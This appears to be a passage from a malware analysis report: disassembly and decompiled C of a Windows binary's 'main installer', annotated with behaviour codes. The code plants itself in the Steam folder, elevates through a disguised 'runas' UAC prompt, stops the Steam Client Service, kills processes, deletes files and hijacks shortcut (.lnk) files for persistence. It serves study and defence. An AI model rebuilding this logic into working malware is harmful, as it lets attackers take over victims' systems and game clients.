140007873ba 04 01 00 00MOV EDX,0x104
14000787848 8d 4c 24 50LEA RCX,[RSP + 0x50]
14000787de8 de c6 ff ffCALL FUN_140003f60; FUN_140003f60: GetLastError, SetLastError
140007882ba 80 00 00 00MOV EDX,0x80
14000788748 8d 4c 24 50LEA RCX,[RSP + 0x50]
14000788cff 15 8e 79 01 00CALL qword ptr [PTR_SetFileAttributesW_14001f220]
14000789248 8d 4c 24 50LEA RCX,[RSP + 0x50]
140007897ff 15 bb 79 01 00CALL qword ptr [PTR_DeleteFileW_14001f258]
14000789d48 8d 54 24 50LEA RDX,[RSP + 0x50]
1400078a248 8b cdMOV RCX,RBP
1400078a5e8 16 f0 ff ffCALL FUN_1400068c0; FUN_1400068c0: GetCurrentProcessId, GetTickCount, Sleep
1400078aa85 c0TEST EAX,EAX
1400078ac74 43JZ LAB_1400078f1
1400078aeba 80 00 00 00MOV EDX,0x80
1400078b348 8b cbMOV RCX,RBX
1400078b6ff 15 64 79 01 00CALL qword ptr [PTR_SetFileAttributesW_14001f220]
1400078bc48 8b cbMOV RCX,RBX
1400078bfff 15 93 79 01 00CALL qword ptr [PTR_DeleteFileW_14001f258]
1400078c548 8b d3MOV RDX,RBX
1400078c848 8d 4c 24 50LEA RCX,[RSP + 0x50]
1400078cdff 15 ed 86 02 00CALL qword ptr [DAT_14002ffc0]
1400078d385 c0TEST EAX,EAX
1400078d575 39JNZ LAB_140007910
1400078d748 8b d3MOV RDX,RBX
1400078da48 8b cdMOV RCX,RBP
1400078dde8 de ef ff ffCALL FUN_1400068c0; FUN_1400068c0: GetCurrentProcessId, GetTickCount, Sleep
1400078e285 c0TEST EAX,EAX
1400078e475 2aJNZ LAB_140007910
1400078e648 8d 4c 24 50LEA RCX,[RSP + 0x50]
1400078ebff 15 67 79 01 00CALL qword ptr [PTR_DeleteFileW_14001f258]
LAB_1400078f1:
1400078f133 c0XOR EAX,EAX
LAB_1400078f3:
1400078f348 8b 8c 24 80 06 00 00MOV RCX,qword ptr [RSP + local_38]
1400078fb48 33 ccXOR RCX,RSP
1400078fee8 2d 10 00 00CALL __security_check_cookie
LAB_140007910:
14000791048 8d 4c 24 50LEA RCX,[RSP + 0x50]
140007915ff 15 3d 79 01 00CALL qword ptr [PTR_DeleteFileW_14001f258]
LAB_14000791b:
14000791b48 85 dbTEST RBX,RBX
14000791e74 27JZ LAB_140007947
14000792066 39 33CMP word ptr [RBX],SI
14000792374 22JZ LAB_140007947
14000792548 8b cbMOV RCX,RBX
140007928ff 15 ea 78 01 00CALL qword ptr [PTR_GetFileAttributesW_14001f218]
14000792e83 f8 ffCMP EAX,-0x1
14000793174 14JZ LAB_140007947
14000793348 8b d3MOV RDX,RBX
14000793648 8b cdMOV RCX,RBP
140007939e8 d2 e3 ff ffCALL FUN_140005d10; FUN_140005d10: GetFileAttributesExW, CreateFileW, ReadFile, CloseHandle
14000793e85 c0TEST EAX,EAX
14000794074 05JZ LAB_140007947
140007942be 01 00 00 00MOV ESI,0x1
LAB_140007947:
1400079478b c6MOV EAX,ESI
140007949eb a8JMP LAB_1400078f3

the main installer

0x1400079503288 bytes
undefined FUN_140007950(void)

the main installer: copies self to Steam dir, elevates via UAC, stops a service, kills processes, replaces files and sets persistence

Cited as
E6, E13, E14
Behaviours
B5, B10, B11, B12
Called from
FUN_140008650
Calls
PathMatchSpecW PathRemoveFileSpecW ShellExecuteExW SHGetFolderPathW SHCreateDirectoryExW CloseServiceHandle OpenSCManagerW ControlService OpenServiceW FindFirstFileW GetFullPathNameW FindNextFileW ExpandEnvironmentStringsW RemoveDirectoryW GetModuleFileNameW FindClose CreateFileW GetFileAttributesW Sleep DeleteFileW CloseHandle ExitProcess GetCurrentProcessId GetTickCount FUN_140003f60
Decompiled C · 306 lines
/* WARNING: Function: __chkstk replaced with injection: alloca_probe */
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_140007950(void)

{
  wchar_t *pwVar1;
  bool bVar2;
  int iVar3;
  DWORD DVar4;
  BOOL BVar5;
  DWORD DVar6;
  int iVar7;
  int iVar8;
  longlong lVar9;
  longlong lVar10;
  undefined7 extraout_var;
  undefined7 extraout_var_00;
  HANDLE pvVar11;
  SC_HANDLE hSCManager;
  SC_HANDLE hService;
  wchar_t *pwVar12;
  uint uVar13;
  ulonglong uVar14;
  ulonglong uVar15;
  undefined1 auStackY_1458 [32];
  _SERVICE_STATUS local_1418;
  _WIN32_FIND_DATAW local_13f8;
  _WIN32_FIND_DATAW local_11a8;
  undefined4 local_f58;
  undefined4 local_f54;
  undefined4 local_f50;
  WCHAR local_f48 [32];
  SHELLEXECUTEINFOW local_f08;
  WCHAR local_e98 [264];
  WCHAR local_c88 [264];
  WCHAR local_a78 [264];
  WCHAR local_868 [264];
  wchar_t local_658 [264];
  WCHAR local_448 [264];
  wchar_t local_238 [264];
  ulonglong local_28;
  undefined8 uStack_20;
  
  uStack_20 = 0x140007971;
  local_28 = DAT_14002e040 ^ (ulonglong)auStackY_1458;
  GetModuleFileNameW((HMODULE)0x0,local_448,0x104);
  iVar3 = FUN_140006170(local_c88);
  if (iVar3 == 0) {
    ExpandEnvironmentStringsW(L"%ProgramFiles(x86)%\\Steam\\steam.exe",local_c88,0x104);
  }
  wcscpy_s(local_658,0x104,local_c88);
  PathRemoveFileSpecW(local_658);
  DVar6 = 0;
  SHCreateDirectoryExW((HWND)0x0,local_658,(SECURITY_ATTRIBUTES *)0x0);
  uVar15 = 0;
  if ((local_c88[0] == L'\0') || (DVar4 = GetFileAttributesW(local_c88), DVar4 == 0xffffffff)) {
    bVar2 = true;
  }
  else {
    if ((local_448[0] != L'\0') && (local_c88[0] != L'\0')) {
      lVar9 = FUN_140005c10(local_448);
      lVar10 = FUN_140005c10(local_c88);
      if ((lVar9 == lVar10) &&
         (((lVar9 = FUN_140005c10(local_448), lVar9 != 0 &&
           (bVar2 = FUN_140005c70(local_448,&local_f08,DVar6),
           (int)CONCAT71(extraout_var,bVar2) != 0)) &&
          (bVar2 = FUN_140005c70(local_c88,local_f48,DVar6),
          (int)CONCAT71(extraout_var_00,bVar2) != 0)))) {
        iVar3 = memcmp(&local_f08,local_f48,0x40);
        bVar2 = iVar3 != 0;
        goto LAB_140007ad8;
      }
    }
    bVar2 = true;
  }
LAB_140007ad8:
  iVar3 = FUN_140005e80();
  if (iVar3 == 0) {
    FUN_140003f60(local_a78,0x104,0x1400299b0,local_658);
    pvVar11 = CreateFileW(local_a78,0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,0x4000100,(HANDLE)0x0)
    ;
    if (pvVar11 == (HANDLE)0xffffffffffffffff) {
      GetModuleFileNameW((HMODULE)0x0,local_a78,0x104);
      local_f58 = 0x750072;
      local_f54 = 0x61006e;
      local_f50 = 0x73;
      FUN_1400112c4((short *)&local_1418,8,(longlong)&local_f58,-1);
      local_f08.lpVerb = (LPCWSTR)&local_1418;
      local_f08.lpFile = local_a78;
      local_f08.hwnd = (HWND)0x0;
      local_f08.hInstApp = (HINSTANCE)0x0;
      local_f08.cbSize = 0x70;
      local_f08.fMask = 0;
      local_f08.lpParameters = (LPCWSTR)0x0;
      local_f08.lpDirectory = (LPCWSTR)0x0;
      local_f08.nShow = 1;
      local_f08._52_4_ = 0;
      local_f08.lpIDList = (void *)0x0;
      local_f08.lpClass = (LPCWSTR)0x0;
      local_f08.hkeyClass = (HKEY)0x0;
      local_f08.dwHotKey = 0;
      local_f08._92_4_ = 0;
      local_f08.u.hIcon = (HANDLE)0x0;
      local_f08.hProcess = (HANDLE)0x0;
      BVar5 = ShellExecuteExW(&local_f08);
      if (BVar5 != 0) {
                    /* WARNING: Subroutine does not return */
        ExitProcess(0);
      }
    }
    else {
      CloseHandle(pvVar11);
    }
  }
  iVar3 = FUN_140006770();
  if ((bVar2) && (iVar3 != 0)) {
    builtin_memcpy(local_f48,L"Steam Client Service",0x2a);
    hSCManager = OpenSCManagerW((LPCWSTR)0x0,(LPCWSTR)0x0,1);
    uVar14 = uVar15;
    if (hSCManager != (SC_HANDLE)0x0) {
      hService = OpenServiceW(hSCManager,local_f48,0x24);
      if (hService != (SC_HANDLE)0x0) {
        ControlService(hService,1,&local_1418);
        DVar6 = GetCurrentProcessId();
        DVar4 = GetTickCount();
        Sleep(((DVar6 ^ DVar4) & 0x3ff) + 400);
        CloseServiceHandle(hService);
      }
      CloseServiceHandle(hSCManager);
    }
    do {
      FUN_1400064c0(1,(undefined4 *)0x0);
      DVar6 = GetCurrentProcessId();
      DVar4 = GetTickCount();
      Sleep(((DVar6 ^ DVar4) & 0x3ff) + 400);
      iVar3 = FUN_140006770();
      if (iVar3 == 0) break;
      uVar13 = (int)uVar14 + 1;
      uVar14 = (ulonglong)uVar13;
    } while ((int)uVar13 < 0xc);
    iVar3 = FUN_140006770();
  }
  else {
    iVar7 = 1;
    if (!bVar2) goto LAB_140007d9e;
  }
  iVar7 = FUN_140007680(local_448,local_c88,local_658);
LAB_140007d9e:
  wcscpy_s(local_238,0x104,local_658);
  pwVar12 = local_238;
  while (local_238[0] != L'\0') {
    if (local_238[0] == L'\\') {
      *pwVar12 = L'/';
    }
    pwVar1 = pwVar12 + 1;
    pwVar12 = pwVar12 + 1;
    local_238[0] = *pwVar1;
  }
  iVar8 = SHGetFolderPathW(0,2,0);
  if ((-1 < iVar8) && (iVar8 = SHGetFolderPathW(0,0x17,0), -1 < iVar8)) {
    FUN_140011230(local_e98,0x104,0x14002a188);
    FUN_140011230(local_868,0x104,0x14002a188);
    if (((local_e98[0] != L'\0') &&
        (((DVar6 = GetFileAttributesW(local_e98), DVar6 != 0xffffffff && (local_868[0] != L'\0')) &&
         (DVar6 = GetFileAttributesW(local_868), DVar6 != 0xffffffff)))) &&
       (BVar5 = DeleteFileW(local_e98), BVar5 != 0)) {
      wcscpy_s(local_a78,0x104,local_e98);
      PathRemoveFileSpecW(local_a78);
      RemoveDirectoryW(local_a78);
    }
  }
  iVar8 = SHGetFolderPathW(0,0x10,0);
  if ((-1 < iVar8) && (iVar8 = SHGetFolderPathW(0,0x19,0), -1 < iVar8)) {
    FUN_140011230(local_e98,0x104,0x14002a1b0);
    FUN_140011230(local_868,0x104,0x14002a1b0);
    if (((local_e98[0] != L'\0') &&
        ((DVar6 = GetFileAttributesW(local_e98), DVar6 != 0xffffffff && (local_868[0] != L'\0'))))
       && (DVar6 = GetFileAttributesW(local_868), DVar6 != 0xffffffff)) {
      DeleteFileW(local_e98);
    }
  }
  iVar8 = SHGetFolderPathW(0,0x1c,0);
  if (-1 < iVar8) {
    FUN_140003f60(local_868,0x104,0x14002a1c8,local_a78);
    DeleteFileW(local_868);
    FUN_140003f60(local_868,0x104,0x14002a1f8,local_a78);
    RemoveDirectoryW(local_868);
  }
  FUN_140006d70(local_c88,(BYTE *)local_658,(BYTE *)local_238);
  local_1418.dwServiceType = _DAT_14002a500;
  local_1418.dwCurrentState = _UNK_14002a504;
  local_1418.dwControlsAccepted = _UNK_14002a508;
  local_1418.dwWin32ExitCode = _UNK_14002a50c;
  local_1418.dwServiceSpecificExitCode = 7;
  local_1418.dwCheckPoint = 0x18;
  do {
    iVar8 = SHGetFolderPathW(0,(&local_1418.dwServiceType)[uVar15],0);
    if ((-1 < iVar8) && (local_868[0] != L'\0')) {
      FUN_140003f60(local_e98,0x104,0x140029fd8,local_868);
      pvVar11 = FindFirstFileW(local_e98,&local_11a8);
      if (pvVar11 != (HANDLE)0xffffffffffffffff) {
        do {
          if (local_11a8.cFileName[0] != L'.') {
            FUN_140003f60(local_a78,0x104,0x140029fe8,local_868);
            if (((byte)local_11a8.dwFileAttributes & 0x10) == 0) {
              BVar5 = PathMatchSpecW(local_11a8.cFileName,L"*.lnk");
              if (BVar5 != 0) {
                FUN_140007270(local_a78,local_c88,local_658,local_c88);
              }
            }
            else {
              FUN_140007520(local_a78,local_c88,local_658,local_c88,1);
            }
          }
          BVar5 = FindNextFileW(pvVar11,&local_11a8);
        } while (BVar5 != 0);
        FindClose(pvVar11);
      }
    }
    uVar15 = uVar15 + 1;
  } while ((longlong)uVar15 < 6);
  iVar8 = SHGetFolderPathW(0,0x1a,0);
  if (-1 < iVar8) {
    wcscpy_s(local_e98,0x104,local_868);
    FUN_140011230(local_e98,0x104,0x14002a010);
    if (local_e98[0] != L'\0') {
      FUN_140003f60((undefined2 *)&local_11a8,0x104,0x140029fd8,local_e98);
      pvVar11 = FindFirstFileW((LPCWSTR)&local_11a8,&local_13f8);
      if (pvVar11 != (HANDLE)0xffffffffffffffff) {
        do {
          if (local_13f8.cFileName[0] != L'.') {
            FUN_140003f60(local_a78,0x104,0x140029fe8,local_e98);
            if (((byte)local_13f8.dwFileAttributes & 0x10) == 0) {
              BVar5 = PathMatchSpecW(local_13f8.cFileName,L"*.lnk");
              if (BVar5 != 0) {
                FUN_140007270(local_a78,local_c88,local_658,local_c88);
              }
            }
            else {
              FUN_140007520(local_a78,local_c88,local_658,local_c88,1);
            }
          }
          BVar5 = FindNextFileW(pvVar11,&local_13f8);
        } while (BVar5 != 0);
        FindClose(pvVar11);
      }
    }
    wcscpy_s(local_e98,0x104,local_868);
    FUN_140011230(local_e98,0x104,0x14002a070);
    if (local_e98[0] != L'\0') {
      FUN_140003f60((undefined2 *)&local_11a8,0x104,0x140029fd8,local_e98);
      pvVar11 = FindFirstFileW((LPCWSTR)&local_11a8,&local_13f8);
      if (pvVar11 != (HANDLE)0xffffffffffffffff) {
        do {
          if (local_13f8.cFileName[0] != L'.') {
            FUN_140003f60(local_a78,0x104,0x140029fe8,local_e98);
            if (((byte)local_13f8.dwFileAttributes & 0x10) == 0) {
              BVar5 = PathMatchSpecW(local_13f8.cFileName,L"*.lnk");
              if (BVar5 != 0) {
                FUN_140007270(local_a78,local_c88,local_658,local_c88);
              }
            }
            else {
              FUN_140007520(local_a78,local_c88,local_658,local_c88,1);
            }
          }
          BVar5 = FindNextFileW(pvVar11,&local_13f8);
        } while (BVar5 != 0);
        FindClose(pvVar11);
      }
    }
    wcscpy_s(local_e98,0x104,local_868);
    FUN_140011230(local_e98,0x104,0x14002a0f0);
    if (local_e98[0] != L'\0') {
      FUN_140003f60((undefined2 *)&local_11a8,0x104,0x140029fd8,local_e98);
      pvVar11 = FindFirstFileW((LPCWSTR)&local_11a8,&local_13f8);
      if (pvVar11 != (HANDLE)0xffffffffffffffff) {
        do {
          if (local_13f8.cFileName[0] != L'.') {
            FUN_140003f60(local_a78,0x104,0x140029fe8,local_e98);
            if (((byte)local_13f8.dwFileAttributes & 0x10) == 0) {
              BVar5 = PathMatchSpecW(local_13f8.cFileName,L"*.lnk");
              if (BVar5 != 0) {
                FUN_140007270(local_a78,local_c88,local_658,local_c88);
              }
            }
            else {
              FUN_140007520(local_a78,local_c88,local_658,local_c88,1);
            }
          }
          BVar5 = FindNextFileW(pvVar11,&local_13f8);
        } while (BVar5 != 0);
        FindClose(pvVar11);
      }
    }
  }
  if ((((iVar7 == 0) && (iVar3 == 0)) &&
      (DVar6 = GetFullPathNameW(local_448,0x104,local_a78,(LPWSTR *)0x0), DVar6 != 0)) &&
     (DVar6 = GetFullPathNameW(local_c88,0x104,(LPWSTR)&local_11a8,(LPWSTR *)0x0), DVar6 != 0)) {
    FID_conflict__wcsicoll(local_a78,(wchar_t *)&local_11a8);
  }
}

Assembly · 627 instructions, 63 annotated
AddressBytesInstructionComment
14000795048 89 7c 24 18MOV qword ptr [RSP + local_res18],RDI
1400079554c 89 64 24 20MOV qword ptr [RSP + local_res20],R12
14000795a55PUSH RBP
14000795b41 56PUSH R14
14000795d41 57PUSH R15
14000795f48 8d ac 24 c0 ec ff ffLEA RBP,[RSP + -0x1340]
140007967b8 40 14 00 00MOV EAX,0x1440
14000796ce8 ff 5e 01 00CALL __chkstk
14000797148 2b e0SUB RSP,RAX
14000797448 8b 05 c5 66 02 00MOV RAX,qword ptr [DAT_14002e040]
14000797b48 33 c4XOR RAX,RSP
14000797e48 89 85 30 13 00 00MOV qword ptr [RBP + local_28],RAX
14000798541 b8 04 01 00 00MOV R8D,0x104
14000798b48 8d 95 10 0f 00 00LEA RDX,[RBP + 0xf10]
14000799233 c9XOR ECX,ECX
140007994ff 15 56 78 01 00CALL qword ptr [PTR_GetModuleFileNameW_14001f1f0]
14000799a48 8d 8d d0 06 00 00LEA RCX,[RBP + 0x6d0]
1400079a1e8 ca e7 ff ffCALL FUN_140006170; FUN_140006170: RegOpenKeyExW, RegQueryValueExW, RegCloseKey, GetFullPathNameW +2
1400079a685 c0TEST EAX,EAX
1400079a875 1aJNZ LAB_1400079c4
1400079aa41 b8 04 01 00 00MOV R8D,0x104
1400079b048 8d 95 d0 06 00 00LEA RDX,[RBP + 0x6d0]
1400079b748 8d 0d f2 21 02 00LEA RCX,[u_%ProgramFiles(x86)%\Steam\steam._140029bb0]; "%ProgramFiles(x86)%\\Steam\\steam.exe"
1400079beff 15 1c 78 01 00CALL qword ptr [PTR_ExpandEnvironmentStringsW_14001f1e0]
LAB_1400079c4:
1400079c44c 8d 85 d0 06 00 00LEA R8,[RBP + 0x6d0]
1400079cb48 89 9c 24 60 14 00 00MOV qword ptr [RSP + local_res8],RBX
1400079d3ba 04 01 00 00MOV EDX,0x104
1400079d848 8d 8d 00 0d 00 00LEA RCX,[RBP + 0xd00]
1400079dfe8 e4 97 00 00CALL wcscpy_s
1400079e448 8d 8d 00 0d 00 00LEA RCX,[RBP + 0xd00]
1400079ebff 15 17 7a 01 00CALL qword ptr [PTR_PathRemoveFileSpecW_14001f408]
1400079f145 33 c0XOR R8D,R8D
1400079f448 8d 95 00 0d 00 00LEA RDX,[RBP + 0xd00]
1400079fb33 c9XOR ECX,ECX
1400079fdff 15 dd 79 01 00CALL qword ptr [PTR_SHCreateDirectoryExW_14001f3e0]
140007a0345 33 f6XOR R14D,R14D
140007a0666 44 39 b5 d0 06 00 00CMP word ptr [RBP + local_c88],R14W
140007a0e0f 84 bf 00 00 00JZ LAB_140007ad3
140007a1448 8d 8d d0 06 00 00LEA RCX,[RBP + 0x6d0]
140007a1bff 15 f7 77 01 00CALL qword ptr [PTR_GetFileAttributesW_14001f218]
140007a2183 f8 ffCMP EAX,-0x1
140007a240f 84 a9 00 00 00JZ LAB_140007ad3
140007a2a66 44 39 b5 10 0f 00 00CMP word ptr [RBP + local_448],R14W
140007a320f 84 93 00 00 00JZ LAB_140007acb
140007a3866 44 39 b5 d0 06 00 00CMP word ptr [RBP + local_c88],R14W
140007a400f 84 85 00 00 00JZ LAB_140007acb
140007a4648 8d 8d 10 0f 00 00LEA RCX,[RBP + 0xf10]
140007a4de8 be e1 ff ffCALL FUN_140005c10; FUN_140005c10: GetFileAttributesExW
140007a5248 8d 8d d0 06 00 00LEA RCX,[RBP + 0x6d0]
140007a5948 8b d8MOV RBX,RAX
140007a5ce8 af e1 ff ffCALL FUN_140005c10; FUN_140005c10: GetFileAttributesExW
140007a6148 3b d8CMP RBX,RAX
140007a6475 65JNZ LAB_140007acb
140007a6648 8d 8d 10 0f 00 00LEA RCX,[RBP + 0xf10]
140007a6de8 9e e1 ff ffCALL FUN_140005c10; FUN_140005c10: GetFileAttributesExW
140007a7248 85 c0TEST RAX,RAX
140007a7574 54JZ LAB_140007acb
140007a7748 8d 95 50 04 00 00LEA RDX,[RBP + 0x450]
140007a7e48 8d 8d 10 0f 00 00LEA RCX,[RBP + 0xf10]
140007a85e8 e6 e1 ff ffCALL FUN_140005c70; FUN_140005c70: CreateFileW, ReadFile, CloseHandle
140007a8a85 c0TEST EAX,EAX
140007a8c74 3dJZ LAB_140007acb
140007a8e48 8d 95 10 04 00 00LEA RDX,[RBP + 0x410]
140007a9548 8d 8d d0 06 00 00LEA RCX,[RBP + 0x6d0]
140007a9ce8 cf e1 ff ffCALL FUN_140005c70; FUN_140005c70: CreateFileW, ReadFile, CloseHandle
140007aa185 c0TEST EAX,EAX
140007aa374 26JZ LAB_140007acb
140007aa541 b8 40 00 00 00MOV R8D,0x40
140007aab48 8d 95 10 04 00 00LEA RDX,[RBP + 0x410]
140007ab248 8d 8d 50 04 00 00LEA RCX,[RBP + 0x450]
140007ab9e8 c2 6a 01 00CALL memcmp
140007abe85 c0TEST EAX,EAX
140007ac041 8b deMOV EBX,R14D
140007ac30f 94 c3SETZ BL
140007ac683 f3 01XOR EBX,0x1
140007ac9eb 0dJMP LAB_140007ad8
LAB_140007acb:
140007acb41 8b deMOV EBX,R14D
140007ace83 f3 01XOR EBX,0x1
140007ad1eb 05JMP LAB_140007ad8
LAB_140007ad3:
140007ad3bb 01 00 00 00MOV EBX,0x1
LAB_140007ad8:
140007ad8e8 a3 e3 ff ffCALL FUN_140005e80; FUN_140005e80: GetCurrentProcess, OpenProcessToken, GetTokenInformation, CloseHandle
140007add85 c0TEST EAX,EAX
140007adf0f 85 39 01 00 00JNZ LAB_140007c1e
140007ae54c 8d 8d 00 0d 00 00LEA R9,[RBP + 0xd00]
140007aecba 04 01 00 00MOV EDX,0x104
140007af14c 8d 05 b8 1e 02 00LEA R8,[u_%s\update.ver_1400299b0]; "%s\\update.ver"
140007af848 8d 8d e0 08 00 00LEA RCX,[RBP + 0x8e0]
140007affe8 5c c4 ff ffCALL FUN_140003f60; FUN_140003f60: GetLastError, SetLastError
140007b044c 89 74 24 30MOV qword ptr [RSP + local_1428],R14
140007b0948 8d 8d e0 08 00 00LEA RCX,[RBP + 0x8e0]
140007b10c7 44 24 28 00 01 00 04MOV dword ptr [RSP + local_1430],0x4000100
140007b1845 33 c9XOR R9D,R9D
140007b1b45 33 c0XOR R8D,R8D
140007b1ec7 44 24 20 02 00 00 00MOV dword ptr [RSP + local_1438],0x2
140007b26ba 00 00 00 40MOV EDX,0x40000000
140007b2bff 15 df 76 01 00CALL qword ptr [PTR_CreateFileW_14001f210]
140007b3148 83 f8 ffCMP RAX,-0x1
140007b3575 05JNZ LAB_140007b3c
140007b3741 8b c6MOV EAX,R14D
140007b3aeb 0eJMP LAB_140007b4a
LAB_140007b3c:
140007b3c48 8b c8MOV RCX,RAX
140007b3fff 15 23 77 01 00CALL qword ptr [PTR_CloseHandle_14001f268]
140007b45b8 01 00 00 00MOV EAX,0x1
LAB_140007b4a:
140007b4a85 c0TEST EAX,EAX
140007b4c0f 85 cc 00 00 00JNZ LAB_140007c1e
140007b5241 b8 04 01 00 00MOV R8D,0x104
140007b5848 8d 95 e0 08 00 00LEA RDX,[RBP + 0x8e0]
140007b5f33 c9XOR ECX,ECX
140007b61ff 15 89 76 01 00CALL qword ptr [PTR_GetModuleFileNameW_14001f1f0]
140007b6749 c7 c1 ff ff ff ffMOV R9,-0x1
140007b6ec7 85 00 04 00 00 72 00 …MOV dword ptr [RBP + local_f58],0x750072
140007b784c 8d 85 00 04 00 00LEA R8,[RBP + 0x400]
140007b7fc7 85 04 04 00 00 6e 00 …MOV dword ptr [RBP + local_f54],0x61006e
140007b89ba 08 00 00 00MOV EDX,0x8
140007b8ec7 85 08 04 00 00 73 00 …MOV dword ptr [RBP + local_f50],0x73
140007b9848 8d 4c 24 40LEA RCX,[RSP + 0x40]
140007b9de8 22 97 00 00CALL FUN_1400112c4; FUN_1400112c4: GetLastError, SetLastError
140007ba20f 57 c0XORPS XMM0,XMM0
140007ba548 8d 44 24 40LEA RAX,[RSP + 0x40]
140007baa0f 11 85 60 04 00 00MOVUPS xmmword ptr [RBP + local_ef8[0]],XMM0
140007bb148 89 85 60 04 00 00MOV qword ptr [RBP + local_ef8[0]],RAX
140007bb848 8d 8d 50 04 00 00LEA RCX,[RBP + 0x450]
140007bbf48 8d 85 e0 08 00 00LEA RAX,[RBP + 0x8e0]
140007bc60f 11 85 50 04 00 00MOVUPS xmmword ptr [RBP + local_f08[0]],XMM0
140007bcd48 89 85 68 04 00 00MOV qword ptr [RBP + local_ef8[8]],RAX
140007bd40f 11 85 80 04 00 00MOVUPS xmmword ptr [RBP + local_ed8[0]],XMM0
140007bdbc7 85 50 04 00 00 70 00 …MOV dword ptr [RBP + local_f08[0]],0x70
140007be50f 11 85 70 04 00 00MOVUPS xmmword ptr [RBP + local_ee8[0]],XMM0
140007becc7 85 80 04 00 00 01 00 …MOV dword ptr [RBP + local_ed8[0]],0x1
140007bf60f 11 85 90 04 00 00MOVUPS xmmword ptr [RBP + local_ec8[0]],XMM0
140007bfd0f 11 85 a0 04 00 00MOVUPS xmmword ptr [RBP + local_eb8[0]],XMM0
140007c040f 11 85 b0 04 00 00MOVUPS xmmword ptr [RBP + local_ea8[0]],XMM0
140007c0bff 15 af 77 01 00CALL qword ptr [PTR_ShellExecuteExW_14001f3c0]
140007c1185 c0TEST EAX,EAX
140007c1374 09JZ LAB_140007c1e
140007c1533 c9XOR ECX,ECX
140007c17ff 15 63 76 01 00CALL qword ptr [PTR_ExitProcess_14001f280]
LAB_140007c1e:
140007c1e48 89 b4 24 68 14 00 00MOV qword ptr [RSP + local_res10],RSI
140007c26e8 45 eb ff ffCALL FUN_140006770; FUN_140006770: CreateToolhelp32Snapshot, Process32FirstW, GetCurrentProcessId, Process32NextW +1
140007c2b8b f0MOV ESI,EAX
140007c2d85 dbTEST EBX,EBX
140007c2f0f 84 42 01 00 00JZ LAB_140007d77
140007c3585 c0TEST EAX,EAX
140007c370f 84 3a 01 00 00JZ LAB_140007d77
140007c3d33 d2XOR EDX,EDX
140007c3fc7 85 10 04 00 00 53 00 …MOV dword ptr [RBP + local_f48],0x740053
140007c4933 c9XOR ECX,ECX
140007c4bc7 85 14 04 00 00 65 00 …MOV dword ptr [RBP + local_f44],0x610065
140007c5541 b8 01 00 00 00MOV R8D,0x1
140007c5bc7 85 18 04 00 00 6d 00 …MOV dword ptr [RBP + local_f40],0x20006d
140007c65c7 85 1c 04 00 00 43 00 …MOV dword ptr [RBP + local_f3c],0x6c0043
140007c6fc7 85 20 04 00 00 69 00 …MOV dword ptr [RBP + local_f38],0x650069
140007c79c7 85 24 04 00 00 6e 00 …MOV dword ptr [RBP + local_f34],0x74006e
140007c83c7 85 28 04 00 00 20 00 …MOV dword ptr [RBP + local_f30],0x530020
140007c8dc7 85 2c 04 00 00 65 00 …MOV dword ptr [RBP + local_f2c],0x720065
140007c97c7 85 30 04 00 00 76 00 …MOV dword ptr [RBP + local_f28],0x690076
140007ca1c7 85 34 04 00 00 63 00 …MOV dword ptr [RBP + local_f24],0x650063
140007cab66 44 89 b5 38 04 00 00MOV word ptr [RBP + local_f20],R14W
140007cb3ff 15 7f 73 01 00CALL qword ptr [PTR_OpenSCManagerW_14001f038]
140007cb948 8b f0MOV RSI,RAX
140007cbc48 85 c0TEST RAX,RAX
140007cbf74 65JZ LAB_140007d26
140007cc141 b8 24 00 00 00MOV R8D,0x24
140007cc748 8d 95 10 04 00 00LEA RDX,[RBP + 0x410]
140007cce48 8b c8MOV RCX,RAX
140007cd1ff 15 91 73 01 00CALL qword ptr [PTR_OpenServiceW_14001f068]
140007cd748 8b f8MOV RDI,RAX
140007cda48 85 c0TEST RAX,RAX
140007cdd74 3eJZ LAB_140007d1d
140007cdf4c 8d 44 24 40LEA R8,[RSP + 0x40]
140007ce4ba 01 00 00 00MOV EDX,0x1
140007ce948 8b c8MOV RCX,RAX
140007cecff 15 56 73 01 00CALL qword ptr [PTR_ControlService_14001f048]
140007cf2ff 15 90 75 01 00CALL qword ptr [PTR_GetCurrentProcessId_14001f288]
140007cf88b d8MOV EBX,EAX
140007cfaff 15 98 75 01 00CALL qword ptr [PTR_GetTickCount_14001f298]
140007d0033 d8XOR EBX,EAX
140007d0281 e3 ff 03 00 00AND EBX,0x3ff
140007d088d 8b 90 01 00 00LEA ECX,[RBX + 0x190]
140007d0eff 15 24 75 01 00CALL qword ptr [PTR_Sleep_14001f238]
140007d1448 8b cfMOV RCX,RDI
140007d17ff 15 13 73 01 00CALL qword ptr [PTR_CloseServiceHandle_14001f030]
LAB_140007d1d:
140007d1d48 8b ceMOV RCX,RSI
140007d20ff 15 0a 73 01 00CALL qword ptr [PTR_CloseServiceHandle_14001f030]
LAB_140007d26:
140007d2641 8b feMOV EDI,R14D
140007d290f 1f 80 00 00 00 00NOP dword ptr [RAX]
LAB_140007d30:
140007d3033 d2XOR EDX,EDX
140007d32b9 01 00 00 00MOV ECX,0x1
140007d37e8 84 e7 ff ffCALL FUN_1400064c0; FUN_1400064c0: CreateToolhelp32Snapshot, Process32FirstW, GetCurrentProcessId, Process32NextW +4
140007d3cff 15 46 75 01 00CALL qword ptr [PTR_GetCurrentProcessId_14001f288]
140007d428b d8MOV EBX,EAX
140007d44ff 15 4e 75 01 00CALL qword ptr [PTR_GetTickCount_14001f298]
140007d4a33 d8XOR EBX,EAX
140007d4c81 e3 ff 03 00 00AND EBX,0x3ff
140007d528d 8b 90 01 00 00LEA ECX,[RBX + 0x190]
140007d58ff 15 da 74 01 00CALL qword ptr [PTR_Sleep_14001f238]
140007d5ee8 0d ea ff ffCALL FUN_140006770; FUN_140006770: CreateToolhelp32Snapshot, Process32FirstW, GetCurrentProcessId, Process32NextW +1
140007d6385 c0TEST EAX,EAX
140007d6574 07JZ LAB_140007d6e
140007d67ff c7INC EDI
140007d6983 ff 0cCMP EDI,0xc
140007d6c7c c2JL LAB_140007d30
LAB_140007d6e:
140007d6ee8 fd e9 ff ffCALL FUN_140006770; FUN_140006770: CreateToolhelp32Snapshot, Process32FirstW, GetCurrentProcessId, Process32NextW +1
140007d738b f0MOV ESI,EAX
140007d75eb 0aJMP LAB_140007d81
LAB_140007d77:
140007d7741 bf 01 00 00 00MOV R15D,0x1
140007d7d85 dbTEST EBX,EBX
140007d7f74 1dJZ LAB_140007d9e
LAB_140007d81:
